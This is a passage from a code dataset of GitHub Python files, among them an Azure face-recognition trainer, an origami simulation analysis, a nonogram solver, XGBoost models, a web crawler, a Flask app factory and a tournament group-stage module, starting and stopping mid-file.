file.endswith(\"jpg\"):\r\n\t\t\t\t\t#print(root)\r\n\t\t\t\t\tpath = os.path.join(root,file)\r\n\t\t\t\t\tw = open(path,'r+b')\r\n\t\t\t\t\tface_client.person_group_person.add_face_from_stream(PERSON_GROUP_ID, dict_name[name],w,user_data = name)\r\n\t\t\t\t\tprint(dict_name[name])\r\n'''\r\nfor person in person_set:\r\n\tc = face_client.person_group_person.create(PERSON_GROUP_ID, person)\r\n\t#print(c)\r\n\tperson_id = c.person_id\r\n\tperson_idList.append(person_id)\r\nfor name, id in zip(person_nameList, person_idList):\r\n\tfor root, dirs, files in os.walk(image_dir):\r\n\t\tfor file in files:\r\n\t\t\tif root.endswith(name):\r\n\t\t\t\tprint(root)\r\n\t\t\t\tif file.endswith(\"png\") or file.endswith(\"jpg\"):\r\n\t\t\t\t\tpath = os.path.join(root, file)\r\n\t\t\t\t\tw = open(path, 'r+b')\r\n\t\t\t\t\tg = face_client.person_group_person.add_face_from_stream(PERSON_GROUP_ID, id, w)\r\n\t\t\t\t\tprint(g)\r\n'''\r\n'''\r\nfor name, id in zip(person_nameList, person_idList):\r\n\tperson_name_id[name].append(id)\r\nprint(person_name_id)\r\nprint('Training the person group...')\r\n'''\r\n# Train the person group\r\nface_client.person_group.train(PERSON_GROUP_ID)\r\nwhile (True):\r\n training_status = face_client.person_group.get_training_status(PERSON_GROUP_ID)\r\n print(\"Training status: {}.\".format(training_status.status))\r\n #print()\r\n if (training_status.status is TrainingStatusType.succeeded):\r\n break\r\n elif (training_status.status is TrainingStatusType.failed):\r\n sys.exit('Training the person group has failed.')\r\n time.sleep(5)\r\n\r\nprint(dict_name)\r\nfor name in dict_name:\r\n\tgetpp = face_client.person_group_person.get(PERSON_GROUP_ID, dict_name[name])\r\n\tgetp = face_client.person_group.get(PERSON_GROUP_ID)\r\n\tprint(getpp)\r\n\tprint(getp)\r\nwith open('dict_name.pickle','wb') as fp:\r\n\tpickle.dump(dict_name, fp)","repo_name":"trace7729/AzureFaceAPI","sub_path":"train_faces.py","file_name":"train_faces.py","file_ext":"py","file_size_in_byte":4285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34007838844","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 21 18:04:51 2019\n\n@author: iniguez\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os.path\nimport ReadAndAnalyze as raa\nimport Plotting as plot\n\n#%%\nplt.close('all')\n\nallDesigns = pd.DataFrame()\nallCountMat = pd.DataFrame()\nallMat = pd.DataFrame()\nallEne = np.array([[0,0]])\n\n\nfor i in np.arange(2,16)[::-1]:\n\n Folder_name = \"Results/Tessellation4/25/2CFF/01-Apr-2020_%d_%d_\" %(i,i) #with no B.C.\n # Folder_name = \"Results/Tessellation4/25/2CFF/24-Apr-2020_%d_%d_\" %(i,i) #with B.C.\n # Folder_name = \"Results/Tessellation4/25/2CFF/03-Jun-2020_%d_%d_\" %(i,i) #with new B.C.\n # Folder_name = \"Results/Tessellation4/25/2CFF/08-May-2020_%d_%d_\" %(i,i) #higher kappa\n # Folder_name = \"Results/Tessellation4/25/2CFF/29-May-2020_%d_%d_\" %(i,i) #higher kappa with P.B.C.\n \n if not os.path.isdir(Folder_name):\n continue\n \n if not os.path.isdir(Folder_name + '/Images/'):\n os.mkdir(Folder_name + '/Images/')\n \n # if i != 4:\n # continue\n \n tessellation = np.array(Folder_name.split('_')[-3:-1]).astype(int)\n numUC = np.prod(tessellation)\n numvertex = np.int(Folder_name.split('/')[1][-1])\n \n for subdir in os.listdir(Folder_name):\n if subdir == 'Images':\n continue \n if subdir == 'RestAng_1.571':\n continue\n # if subdir != 'RestAng_0.785': #'RestAng_2.356': #'RestAng_1.571': #\n # continue\n \n for subdir2 in os.listdir(Folder_name+'/'+subdir):\n # if subdir2 =='kappa_0.31623':\n # continue\n folder_name = Folder_name+'/'+subdir+'/'+subdir2+'/energy'\n print('Analysing: ' + folder_name)\n \n ThisEnergyOR, ThisAnglesOR, ThisCurvOR, ThisDataOR, simLen = raa.ReadFileMat(folder_name)\n ThisDataOR[\"TotalEnergy\"] = np.mean(ThisEnergyOR, axis = 1)\n ThisDataMa, ThisMask, ThisFlags = raa.maskBadResults(ThisDataOR, returnMask = True, returnStad = True) \n ThisFlags['tes'] = tessellation[0]\n # print('Converged simulations', np.sum(ThisMask))\n \n ThisEnergyMa = ThisEnergyOR[ThisMask]\n ThisAnglesMa = ThisAnglesOR[ThisMask]\n ThisCurvMa = ThisCurvOR[ThisMask]\n \n simLen = np.size(ThisDataMa,0)\n # allAngles = raa.selectSpecialVertex(ThisAngles, simLen, tessellation, numvertex)\n # allAngles,sym = raa.orderAngles(allAngles, numvertex, simLen*3)\n # ThisAngles = np.resize(allAngles, (simLen,3*numvertex))\n # vertexStSt = raa.countStableStatesDBSCAN(allAngles, 0.26)\n # simStSt = np.resize(vertexStSt, (simLen,3))\n \n allAngles = np.resize(ThisAnglesMa,(simLen*numUC,numvertex))\n # allAngles,sym = raa.orderAngles(allAngles, numvertex, simLen*numUC)\n # ThisAngles = np.resize(allAngles, (simLen,numUC*numvertex))\n \n # vertexStSt = raa.countStableStatesKmean(allAngles, 0.5, reduceFit = True)\n # vertexStSt = raa.countStableStatesDBSCAN(allAngles, 0.26, minpoints = 5, reduceFit = True)\n vertexStSt = raa.countStableStatesDistance(allAngles, 10)\n simStStMa = np.resize(vertexStSt, (simLen,numUC))\n \n # maskPureMat, typePureMat = raa.getPureMat(simStStMa, tessellation)\n maskPureMat, typePureMat, perPure, mat1Lines, grainsize = raa.getPureMatComp(simStStMa, tessellation)\n ThisDataMa['StableStateMat'] = typePureMat\n ThisDataMa['Purity'] = perPure\n \n grainsizeCountMat = pd.DataFrame([grainsize.min(axis = 0)], columns = ['GSMat1', 'GSMat2', 'GSMat3']) \n\n ThisDataDef = pd.concat([ThisDataMa.reset_index(level=0, drop =True),pd.DataFrame(mat1Lines), pd.DataFrame(grainsize, columns = ['GSMat1', 'GSMat2', 'GSMat3'])], axis=1, sort = True)\n selDataMat = raa.makeSelectionPerStStMa(ThisDataDef)\n allMat = allMat.append(selDataMat)\n \n # plot.Angles3D(allAngles, vertexStSt, 'jet')\n simStStPure, ThisDataPure, ThisEnergyPure, ThisAnglesPure, ThisCurvPure = raa.applyMask(maskPureMat, simStStMa, ThisDataMa, ThisEnergyMa, ThisAnglesMa, ThisCurvMa)\n \n selCountMat = raa.makeSelectionPureMat(ThisDataPure, ThisFlags, typePureMat)\n allCountMat = allCountMat.append(pd.concat([selCountMat, grainsizeCountMat], axis=1, sort = True))\n\n # selData = ThisDataMa.sample(500, random_state = 10)\n # allDesigns = allDesigns.append(selData)\n allDesigns = allDesigns.append(ThisDataDef)\n\n if ThisDataPure.empty:\n print(\"No pure material found\")\n continue\n \n # pos = [0,np.int(np.floor(tessellation[0]/2)),np.int(np.floor(np.prod(tessellation)/2))]\n # thisEne = np.concatenate(([np.ones(np.size(ThisEnergyMa.flatten()))*tessellation[0]], [ThisEnergyMa.flatten()]), axis = 0).T\n # thisEne = np.concatenate(([np.ones(np.size(ThisEnergyPure.flatten()))*tessellation[0]], [ThisEnergyPure.flatten()]), axis = 0).T\n ThisEnergyNonPure = ThisEnergyMa[~maskPureMat,:]\n thisEne = np.concatenate(([np.ones(np.size(ThisEnergyNonPure.flatten()))*tessellation[0]], [ThisEnergyNonPure.flatten()]), axis = 0).T\n # thisEneVert = ThisEnergyPure[:,np.int(np.floor(np.prod(tessellation)/2))]\n # thisEne = np.concatenate(([np.ones(np.size(thisEneVert))*tessellation[0]], [thisEneVert]), axis = 0).T\n allEne = np.concatenate((allEne, thisEne ), axis = 0)\n # selData = raa.makeSelectionVertMat(simStStPure, ThisDataPure, ThisEnergyPure, ThisAnglesPure, ThisCurvPure, tessellation)\n \n # notOutLie = selData['StableStates'] != -1\n # allDesigns = allDesigns.append(selData.iloc[notOutLie.values,:])\n \nallDesigns = allDesigns.reset_index(level=0, drop =True)\nallCountMat = allCountMat.reset_index(level = 0, drop = True)\nallMat = allMat.reset_index(level = 0, drop = True)\nallEne = allEne[1:,:]\ncolormap = 'jet'\n\n#%%\nplt.close('all') \n\nplot.ColorbarPerZ(allCountMat,2, np.array([3,6,4,7,5,8,9,10]), 1, save = True, Folder_name = Folder_name, NameFig = 'SimulationsConvergence')\n\n#%%\nplt.close('all') \n \n#### Plotting the Curvature and Energy of materials against neighbours for restang\n# plot.XSizePlot(allDesigns, 2, r'$matSize$', 7, r'$K_\\mathregular{G}$', 9, 10, save = True, Folder_name = Folder_name, NameFig = 'NeighvsCurvatureMat_sel')\nplot.XSizePlot(allDesigns, 2, r'$matSize$', 6, r'$E_{norm}$', 9, 10, save = True, Folder_name = Folder_name, NameFig = 'NeighvsEnergyMat_sel')\n\n\n#%%\nplt.close('all') \n \n##### Plotting the Curvature and Energy of materials against neighbours for restang\nplot.violinPlotGrainSizePaper(allDesigns, 2, r'$v_\\mathregular{size}$', r'$v_\\mathregular{crys}$', 9, save = True, Folder_name = Folder_name, NameFig = 'NeighvsGrainSize1_viol')\n\n# #%%\n# plt.close('all') \n \n# ##### Plotting the Curvature and Energy of materials against neighbours for restang\n# plot.violinPlot(allDesigns, 2, r'$matSize$', 6, r'$E_{norm}$', 9, 9, save = True, Folder_name = Folder_name, NameFig = 'NeighvsEnergyMat_viol')\n\n# #%%\n# plt.close('all') \n\n# plot.violin_scatter(allDesigns, 2, r'$matSize$', 7, r'$K_\\mathregular{G}$', 9, save = True, Folder_name = Folder_name, NameFig = 'NeighvsCurvatureMat_comb')\n# plot.violin_scatter(allDesigns, 2, r'$matSize$', 6, r'$E_{norm}$', 9, save = True, Folder_name = Folder_name, NameFig = 'NeighvsEnergyMat_comb')\n\n# #%%\n# plt.close('all')\n\n# plot.XYperZ(allDesigns, 10, r'$Purity$', 6, r'$E_{norm}$', 2, 11, colormap, save = True, Folder_name = Folder_name, NameFig = 'PurityvsEnergyMat_size')\n# plot.XYperZ(allDesigns, 10, r'$Purity$', 7, r'$K_\\mathregular{G}$', 2, 11, colormap, save = True, Folder_name = Folder_name, NameFig = 'PurityvsCurvatureMat_size')\n\n#%%\nplt.close('all')\n\nallMat = allMat.round(8)\nthetas = np.unique(allMat.iloc[:,1])\nfor t in thetas:\n here = (allMat.iloc[:,1] == t).values\n plot.DefectsApperance(allMat.iloc[here,:], 2, r'$matSize$', save = True, Folder_name = Folder_name, NameFig = 'DefectsvsMatSize_ang%.2f_sel' %t)\n\n#%%\nplt.close('all')\n\n#### Plotting kappa against num of simulations for all the different defects\nallCountMat = allCountMat.round(8)\nthetas = np.unique(allCountMat.iloc[:,1])\nfor t in thetas:\n here = (allCountMat.iloc[:,1] == t).values\n plot.GrainSize(allCountMat.iloc[here,:], 2, r'$matSize$', save = True, Folder_name = Folder_name, NameFig = 'GrainSizevsMatSize_ang%.2f' %t)\n\n#%%\n\nplot.GrainSizePaper2(allCountMat, 2, r'$v_\\mathregular{size}$', save = True, Folder_name = Folder_name, NameFig = 'GrainSizevsMatSize')\n\n#%%\n# allMat_copy = allMat.copy()\n# allMat_copy['restang'] = allMat_copy['restang']*np.pi\n# raa.SaveForPlotMat(allMat_copy, Folder_name[:42])\n\n\n# x = 9\n# a = np.zeros((x,x))\n# for i in np.arange(x):\n# a[i,np.arange(i,x-i)] = i\n# a[x-1-i,np.arange(i,x-i)] = i\n# a[np.arange(i+1,x-1-i), i] = i\n# a[np.arange(i+1,x-1-i), x-1-i] = i","repo_name":"bofo90/BistableOrigami","sub_path":"EnergyLand_v2_tess.py","file_name":"EnergyLand_v2_tess.py","file_ext":"py","file_size_in_byte":9198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17278984303","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n'''\n@File : app_func.py\n@Author : Billy Zhou\n@Time : 2020/08/26\n@Desc : None\n'''\n\n\nimport sys\nfrom pathlib import Path\ncwdPath = Path(__file__).parents[2] # the num depend on your filepath\nsys.path.append(str(cwdPath))\n\nfrom src.manager.LogManager import logmgr\nlog = logmgr.get_logger(__name__)\n\n\nimport xlwings as xw\nfrom functools import wraps\n\n\ndef stop_refresh():\n \"\"\"stop the screen update of excel\"\"\"\n xw.apps.active.screen_updating = False\n\n\ndef start_refresh():\n \"\"\"start the screen update of excel if stoped\"\"\"\n if not xw.apps.active.screen_updating:\n xw.apps.active.screen_updating = True\n\n\ndef try_expect_stop_refresh(func):\n @wraps(func)\n def wrapper(*args, **kwargs):\n try:\n stop_refresh()\n log.info(\"refresh stoped\")\n result = func(*args, **kwargs)\n log.info(\"Function handle over\")\n return result\n except Exception as e:\n log.error('An error occurred. {}'.format(e.args))\n finally:\n start_refresh()\n log.info(\"refresh restart\")\n return wrapper\n\n\nif __name__ == '__main__':\n # test for search_file_by_type\n import time\n testpath = cwdPath.joinpath('res\\\\dev\\\\to_csv')\n testfile = testpath.joinpath('test_to_csv.xlsx')\n xw.Book(testfile).set_mock_caller()\n stop_refresh()\n time.sleep(10)\n start_refresh()\n","repo_name":"shiratori3/xw_scripts","sub_path":"src/utils/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1447,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"35459876470","text":"import matplotlib.pyplot as plt\n\nblood = [10, 20, 30, 40, 50, 60, 70] \ncbc = [20, 50, 40, 30, 10, 80, 90]\n\nplt.plot(blood, cbc, 'blue')\n\nplt.title('body checking')\nplt.xlabel('blood')\nplt.ylabel('cbc')\nplt.show()\n\nplt.savefig('line')\n","repo_name":"adarsh071998/Medical-Diagnosis","sub_path":"COM/lib/line.py","file_name":"line.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"26517714071","text":"import random\n\nimport numpy as np\n\nfrom ex4 import opt_dist\n\n\nclass nonogram():\n\n def __init__(self, rows, cols, row, col):\n self.rows = rows # Number of rows\n self.cols = cols # Number of cols\n self.row = row # Rows description\n self.col = col # Cols description\n self.nono = np.zeros((rows, cols)) # A board matrix\n self.MAXITER = 5000 # Max. number of iterations of solve()\n\n def toFile(self, fname):\n with open(fname, mode=\"w\") as f:\n for row in self.nono:\n for v in row:\n print(\"{}\".format(\"#\" if v == 1 else \".\"), end=\"\", file=f)\n print(file=f)\n\n def opt_dist(self, row, d):\n return opt_dist(row.tolist(), d)\n\n def badRows(self):\n \"\"\"\n Return indicies of incorrect rows\n \"\"\"\n return [i for i, row in enumerate(self.nono)\n if self.opt_dist(row, self.row[i]) > 0]\n\n def scoreColToggled(self, colno, pixno):\n \"\"\"\n For a given column returns opt_dist(col, d) - opt_dist(col' - d),\n where col' is a col with toggled i-th bit\n\n rateColOnToggle > 0 iff pixel toggle improved col score\n = 0 iff hasn't changed anything\n < 0 iff made the score worse\n \"\"\"\n col = np.copy(self.nono[:, colno])\n d = self.opt_dist(col, self.col[colno])\n\n col[pixno] = 1 if col[pixno] == 0 else 0\n d2 = self.opt_dist(col, self.col[colno])\n\n return d - d2\n\n def validateCols(self):\n for c in range(self.cols):\n if opt_dist(self.nono[:, c].tolist(), self.col[c]) > 0:\n return False\n return True\n\n def randDecision(self):\n return random.randrange(0, 99) < 20\n\n def solve(self):\n for _ in range(self.MAXITER):\n\n badRows = self.badRows()\n\n if not badRows:\n if self.validateCols():\n return\n else:\n rowno = random.randrange(0, self.rows)\n else:\n rowno = random.choice(badRows)\n\n # With probability 1/5 choose a random row\n if self.randDecision():\n rowno = random.randrange(0, self.rows)\n\n colScores = [c for c in range(self.cols)\n if self.scoreColToggled(c, rowno) > 0\n or self.randDecision()]\n\n # Choose random column to toggle a pixel\n if not colScores:\n colno = random.randrange(0, self.cols-1)\n else:\n colno = random.choice(colScores)\n\n # toggle\n self.nono[rowno][colno] = (1 if self.nono[rowno][colno] == 0\n else 0)\n\n self.solve()\n\n\nif __name__ == '__main__':\n\n finput = 'zad5_input.txt'\n foutput = 'zad5_output.txt'\n\n lines = []\n with open(finput) as f:\n for line in f:\n lines.append(line)\n\n rows, cols = map(int, lines[0].strip().split(\" \"))\n\n row = [int(r) for r in lines[1: rows + 1]]\n col = [int(c) for c in lines[cols + 1:]]\n\n nono = nonogram(rows, cols, row, col)\n nono.solve()\n nono.toFile(foutput)\n","repo_name":"kainoj/ai","sub_path":"es01/ex5.py","file_name":"ex5.py","file_ext":"py","file_size_in_byte":3294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30444196782","text":"\r\n\r\nimport pandas as pd\r\n\r\nfrom xgboost import XGBClassifier\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.metrics import accuracy_score, confusion_matrix, classification_report\r\n\r\ndef main():\r\n# read dataset_spine.csv file\r\n df_diabetes = pd.read_csv(filepath_or_buffer=\"dataset_spine.csv\")\r\n \r\n# define x features and y label (target)\r\n X = df_diabetes.drop(labels=\"class\", axis=1) \r\n y = df_diabetes[\"class\"]\r\n \r\n# data split to select train and test data\r\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, stratify=y, random_state=1)\r\n \r\n# standard scaler for x features\r\n scaler = StandardScaler() \r\n scaler.fit(X_train)\r\n X_train = scaler.transform(X_train)\r\n X_test = scaler.transform(X_test)\r\n\r\n# create xgboost classifier model using default hyperparameter\r\n xgboost_classifier = XGBClassifier()\r\n print(xgboost_classifier)\r\n print()\r\n \r\n# fit the model\r\n xgboost_classifier.fit(X_train, y_train)\r\n \r\n# get y predict\r\n y_predict = xgboost_classifier.predict(X_test) \r\n \r\n# classification metrics\r\n accuracy_score_value = accuracy_score(y_test, y_predict) * 100\r\n accuracy_score_value = float(\"{0:0.2f}\".format(accuracy_score_value)) \r\n print(\"Accuracy Score: {} %\".format(accuracy_score_value))\r\n print()\r\n \r\n confusion_matrix_result = confusion_matrix(y_test, y_predict)\r\n print(\"Confusion Matrix:\")\r\n print(confusion_matrix_result)\r\n print()\r\n \r\n classification_report_result = classification_report(y_test,y_predict)\r\n print(\"Classification Report:\") \r\n print(classification_report_result)\r\n print() \r\n \r\nif __name__ == '__main__':\r\n main()","repo_name":"ebonat/hillsboro_machine_learning_05_2018","sub_path":"xgboost_meetup_presentation/src/xgboost_spine.py","file_name":"xgboost_spine.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"42571195440","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport htmlLoader\nfrom loggerSpider import loggerSpider\nimport urlManager\nimport htmlParser\nimport dataHandler\n\n\nclass Spider:\n def __init__(self):\n self.htmlLoader = htmlLoader.htmlLoader()\n self.urlManager = urlManager.urlManager()\n self.htmlParser = htmlParser.htmlParser()\n self.dataHandler = dataHandler.dataHandler()\n\n def execute(self, newUrl, isFirst=False):\n i = 1\n self.urlManager.addOneUrl(newUrl)\n while(True):\n newUrlList = []\n newDataDict = {}\n try:\n if(self.urlManager.hasMoreUrls() > 0):\n getOneUrl = self.urlManager.getOneUrl()\n content = self.htmlLoader.htmlDown(getOneUrl)\n if(content is None):\n continue\n\n if(i == 1):\n # 解析首页\n newUrlList = self.htmlParser.urlParse(content, getOneUrl)\n else:\n # 解析每个页面\n newUrlList, newDataDict = self.htmlParser.perPageParse(content, getOneUrl)\n\n # print(newUrlList)\n if(len(newUrlList) > 0):\n self.urlManager.addUrls(newUrlList)\n\n if(len(newDataDict) > 0):\n self.dataHandler.insert(newDataDict)\n else:\n loggerSpider.log('has no more url')\n break\n except Exception as e:\n loggerSpider.log(e)\n\n i += 1\n\nif(__name__ == '__main__'):\n urlList = ['http://www.jobbole.com/', 'http://python.jobbole.com/', 'http://blog.jobbole.com/category/php-programmer/']\n spider = Spider()\n for url in urlList:\n spider.execute(url)\n","repo_name":"ljj038/wuye.python","sub_path":"spider3/mainSpider.py","file_name":"mainSpider.py","file_ext":"py","file_size_in_byte":1849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26608886157","text":"from numpy import *\r\nimport numpy as np\r\ndef Cross_Validation(dataset, K):\r\n sizeofdata = len(dataset)\r\n single = int(sizeofdata/K)\r\n #因为要轮流进行测试，不能用random函数\r\n for i in range(K):\r\n traindata = dataset[:i*single]+dataset[(i+1)*single:]\r\n testdata = dataset[i*single:(i+1)*single]\r\n print(\"训练数据为：\",traindata)\r\n print(\"测试数据为：\",testdata)\r\n print(\"-----------------\")\r\n return\r\n\r\n#测试\r\n'''\r\ndataset=[1,2,3,4,5,6,7,8,9,10]\r\nCross_Validation(dataset,2)\r\n'''","repo_name":"Justin-Xiang/HUST_CS","sub_path":"机器学习算法实现/Unique Week1/Cross Validation.py","file_name":"Cross Validation.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"3"} +{"seq_id":"69942206802","text":"from root import *\nfrom preprocessing.data_preprocessing import *\nfrom models.xgboost.gridsearch_cv import *\nimport multiprocessing as mp\nfrom models.xgboost.train import *\nfrom models.xgboost.predict import *\n\npd.set_option('display.max_rows', 100)\npd.set_option('display.max_columns', 100)\n\n\ndef main():\n\n tune_hyperparameters = 0\n\n df_sales = pd.read_csv(f'{root}/input_data/training_Sales.csv')\n df_traffic = pd.read_csv(f'{root}/input_data/training_Traffic.csv')\n df_holidays = pd.read_csv(f'{root}/input_data/US_national_holidays.csv',\n names=['sequence', 'date', 'holiday'])\n\n for df, outcome_var in [(df_sales, 'sales'), (df_traffic, 'traffic')]:\n\n '''Perform exploratory data analysis (EDA) to determine how to handle\n missing timepoints. Save EDA results to:\n /EDA_output//raw_data/'''\n\n df_eda = split_date_time(df)\n eda_stats(df_eda, outcome_var, stage='raw_data')\n df_eda = missing_day_placeholders(df_eda)\n df_eda = missing_hour_placeholders(df_eda, fill_missing=np.NaN)\n df_eda = additional_date_features(df_eda, df_holidays)\n eda_missing(df_eda, outcome_var, stage='raw_data')\n eda_distributions(df_eda, outcome_var, stage='raw_data')\n df_original = df_eda.copy()\n\n '''\n Data preprocessing for XGBoost:\n Remove hours with outlying values of sales or traffic, again create\n placeholders for missing timepoints, and repeat the EDA data\n characterization. Assign a value of zero to missing hours and remove\n missing days, since they don't affect the XGBoost model.\n Perform datetime feature engineering.\n Save the model input data.'''\n\n df = split_date_time(df)\n df = missing_hour_placeholders(df, fill_missing=0)\n df = additional_date_features(df, df_holidays)\n eda_distributions(df, outcome_var, 'outliers_removed')\n df_future_month = future_daterange(df)\n df_future_month = additional_date_features(df_future_month,\n df_holidays)\n df, df_future_month = transform_datetime_features(df, df_future_month,\n outcome_var)\n\n '''Train-validate-test split'''\n\n df_train, df_val, df_test = data_split(df)\n\n '''Hyperparameter tuning with gridsearch cross-validation:\n train XGBoost model with various hyperparameters and evaluate.'''\n\n if tune_hyperparameters:\n\n XGBoost_tuning_dir = f\"{root}/output/hyperparameter_tuning/\" \\\n f\"XGBoost/{outcome_var}/\"\n if not os.path.exists(XGBoost_tuning_dir):\n os.makedirs(XGBoost_tuning_dir)\n\n hyperparams_CV_df = \\\n pd.DataFrame(columns=['max_depth', 'min_child_weight', 'gamma',\n 'subsample', 'colsample_bytree', 'alpha',\n 'RMSE'])\n\n jobs = []\n\n for max_depth in [10, 50, 100, 300, 500]:\n for min_child_weight in [1]:\n for gamma in [0, 0.1]:\n for subsample in [0.7, 0.8, 0.9, 1]:\n for colsample_bytree in [0.7, 0.8, 0.9, 1]:\n for alpha in [10, 50, 100, 300, 500]:\n\n p = mp.Process(target=xgboost_tune,\n args=(df_train, df_val,\n XGBoost_tuning_dir,\n max_depth,\n min_child_weight,\n gamma,\n subsample,\n colsample_bytree,\n alpha,\n hyperparams_CV_df))\n\n jobs.append(p)\n p.start()\n\n hyperparams_CV_df.to_csv(XGBoost_tuning_dir + \"hyperparams_CV.csv\",\n index=False)\n\n '''Evaluate the final model and then retrain it using the full\n dataset.'''\n\n xgboost_train_eval(df_train, df_val, df_test, outcome_var, eval=1)\n xgboost_train_eval(df_train, df_val, df_test, outcome_var, eval=0)\n\n '''Make predictions and plot them.'''\n\n predict(df_original, df_future_month, outcome_var)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"MarlaWillemse/XGBoost_Forecast","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"24752423004","text":"import logging\nfrom flask import Flask\nfrom apps.article import article_bp\nfrom apps.users import user_bp\nfrom exts import db, cache\n# from exts import bootstrap\nfrom settings import DevelopmentConfig\n\n\ndef create_app():\n app = Flask(__name__, template_folder='../templates', static_folder='../static')\n app.config.from_object(DevelopmentConfig)\n # 初始化db\n db.init_app(app=app)\n\n # 初始化redis\n config_for_redis = {\n 'CACHE_TYPE': 'redis',\n 'CACHE_REDIS_HOST': '10.0.0.21',\n 'CACHE_REDIS_PORT': 6379\n }\n cache.init_app(app, config_for_redis)\n\n # 初始化bootstrap\n # bootstrap.init_app(app=app)\n\n # 注册蓝图\n app.register_blueprint(user_bp, url_prefix='/user')\n app.register_blueprint(article_bp, url_prefix='/article')\n print(app.url_map)\n\n # 配置logger\n logger = logging.getLogger(__name__) # __name__等于apps，app.logger的name也为apps <用logger.name可以查看>\n # basicConfig配置基本属性\n # logging.basicConfig(filename='log.txt', filemode='a', level=logging.WARNING,\n # format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n # logging.basicConfig(level=logging.WARNING)\n logger.setLevel(level=logging.INFO)\n\n formatter = logging.Formatter(\n '%(asctime)s - %(levelname)s - %(filename)s - %(funcName)s - %(lineno)s - %(message)s')\n\n fh = logging.FileHandler(\"log.txt\",encoding='utf-8')\n fh.setLevel(logging.INFO)\n fh.setFormatter(formatter)\n\n ch = logging.StreamHandler()\n ch.setLevel(logging.DEBUG)\n ch.setFormatter(formatter)\n\n logger.addHandler(fh)\n logger.addHandler(ch)\n\n return app\n","repo_name":"zoker777/flaskBlog","sub_path":"apps/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71381573200","text":"def knapsack(N, K, weights, values):\n dp = [[0] * (K + 1) for _ in range(N + 1)]\n\n for i in range(1, N + 1):\n for j in range(1, K + 1):\n if weights[i] > j:\n dp[i][j] = dp[i - 1][j]\n else:\n dp[i][j] = max(dp[i - 1][j - weights[i]] + values[i], dp[i - 1][j])\n \n return dp[N][K]\n\nN, K = map(int, input().split())\nweights, values = [0], [0]\nfor _ in range(N):\n w, v = map(int, input().split())\n weights.append(w)\n values.append(v)\n\nprint(knapsack(N, K, weights, values))","repo_name":"lawjwpark/baekjoon-online-judge","sub_path":"Gold 5/#12865 : 평범한 배낭.py","file_name":"#12865 : 평범한 배낭.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"3871677217","text":"import math\n\nfrom django.db.models import Max\n\nfrom tournament.models import *\n\n\ndef is_power_of_two(teams):\n return math.log2(teams).is_integer()\n\n\ndef create_group_stages(num_groups, tournament):\n groups = []\n for i in range(1, num_groups + 1):\n group_name = f'Grupa {chr(97+i-1)}'\n group_stage = GroupStage.objects.create(name=group_name, order=i, tournament=tournament)\n groups.append(group_stage)\n return groups\n\n\ndef add_teams_to_groups(groups, teams):\n for group in groups:\n group_teams = teams[:4]\n group.teams.add(*group_teams)\n teams = teams[4:]\n return groups, teams\n\n\ndef create_group_matches(group):\n teams = list(group.teams.all())\n matches = []\n for i in range(len(teams)):\n for j in range(i + 1, len(teams)):\n match = Match.objects.create(tournament=group.tournament, order=len(matches) + 1, phase=0,\n team1=teams[i], team2=teams[j], is_group=True)\n group.matches.add(match)\n matches.append(match)\n\n\ndef get_number_playoff_matches(num_teams):\n power_of_two = 1\n while power_of_two <= num_teams:\n power_of_two *= 2\n return power_of_two // 4\n\n\ndef create_playoff_matches(num_matches, tournament):\n matches = []\n num_matches = num_matches // 2\n phase = 1\n while num_matches != 1:\n for i in range(1, num_matches + 1):\n match = Match.objects.create(tournament=tournament, order=i, phase=phase)\n matches.append(match)\n num_matches //= 2\n phase += 1\n final_match = Match.objects.create(tournament=tournament, order=1, phase=phase)\n matches.append(final_match)\n mini_final = Match.objects.create(tournament=tournament, order=2, phase=phase)\n matches.append(mini_final)\n return matches\n\n\ndef get_group_data(matches):\n group_data = {}\n\n for match in matches:\n if match.team1 not in group_data:\n group_data[match.team1] = {\n 'points': 0,\n 'goals_scored': 0,\n 'goals_conceded': 0,\n 'goal_difference': 0\n }\n if match.team2 not in group_data:\n group_data[match.team2] = {\n 'points': 0,\n 'goals_scored': 0,\n 'goals_conceded': 0,\n 'goal_difference': 0\n }\n if match.team1_score > match.team2_score:\n group_data[match.team1]['points'] += 3\n elif match.team1_score < match.team2_score:\n group_data[match.team2]['points'] += 3\n else:\n group_data[match.team1]['points'] += 1\n group_data[match.team2]['points'] += 1\n\n group_data[match.team1]['goals_scored'] += match.team1_score\n group_data[match.team1]['goals_conceded'] += match.team2_score\n group_data[match.team1]['goal_difference'] += match.team1_score - match.team2_score\n\n group_data[match.team2]['goals_scored'] += match.team2_score\n group_data[match.team2]['goals_conceded'] += match.team1_score\n group_data[match.team2]['goal_difference'] += 